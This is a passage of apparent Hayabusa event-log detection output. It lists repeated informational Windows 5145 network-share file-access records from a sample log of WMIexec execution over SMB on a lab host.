Windows\assembly\NativeImages_v4.0.30319_32\ReachFramework\8a1ed041bc25980a548a96cf4b78f4b6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SecurityAudf6921413# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SecurityAudf6921413#\6f2318339b6bd916c3c62b95c91b305d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SMDiagnostics : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\352d34797f7cd44cd0973c33539200f1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SMSvcHost : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SMSvcHost\a4c49e23c0c23b5db4c663738eac897e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SrpUxSnapIn : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SrpUxSnapIn\d82382933ba69165a4398eba2fb6c0b2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.426 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System\c24d08cc4e93fc4f6f15a637b00a2721 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.426 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Acti31fd6628# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.426 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Acti31fd6628#\1a6ec0d19dfcc35f62014ff3602e6a54 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Acti2661942e# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Acti2661942e#\86d8003fea61ae88dd34584f08a9393c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Actif3565cbd# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Actif3565cbd#\a6af57d6c4eee4a8e0165604baa15b61 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Activities : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Activities\16738205fa35676f5eda6d7d70169936 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.AddI3d71a354# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.AddI3d71a354#\0a1d9187e911a67185317ffa7ee40ef0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.AddIn : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.AddIn\14b968adbdb2082b1b938b20b5cb24b5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Comp7dda8007# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Comp7dda8007#\10dd4c410de361a8ee03b5b7c662ccc9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.475 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Comp46f2b404# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.475 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Comp46f2b404#\7845e0cf7da2edf653fbcc126cda2f48 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.475 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Compba577418# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.475 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Compba577418#\9db094774e9db914aedfcad797c955d7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.475 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051#\c8152fae930d6b5e4dd5323561626549 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\c5bf2f5c3e13726b3984a900221e1778 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Core : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c1194e56644c7688e7eb0f68a57dcc30 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data\8a7f63a63249ceccb5c51a9a372aaf64 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Entity : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Entity\9332198f4736c780facfd62fead6fa26 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Linq : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Linq\afe9ad217242ffe7adeeebf7417a0e56 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Services : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.506 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Services\ee663803638dd6a1e68078d00330c716 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.506 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.SqlXml : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.506 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.SqlXml\a686774445eff8eba0a781106f24b040 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.506 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data14bed3a9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.537 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data14bed3a9#\6255822d609f7753b8b77a030c397503 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.537 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data7706cdc8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.537 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data7706cdc8#\730ce0d11e99c329a9ab7bd75787f1bf : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.537 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data86569bbf# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data86569bbf#\3d5b722235db7e8a8c7d1344c7221c33 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data16016462# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data16016462#\003de8140f5201b90706bed8c0b34d9a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Datab086ae17# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Datab086ae17#\8b98eff35de01ce97f419f50f85f6123 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Deployment : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.553 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Deployment\53494598e1b6d05a1c7e3020cc4e9106 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Design : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.569 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Design\52a567b78cdfcd6f0926ba88bd575776 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via 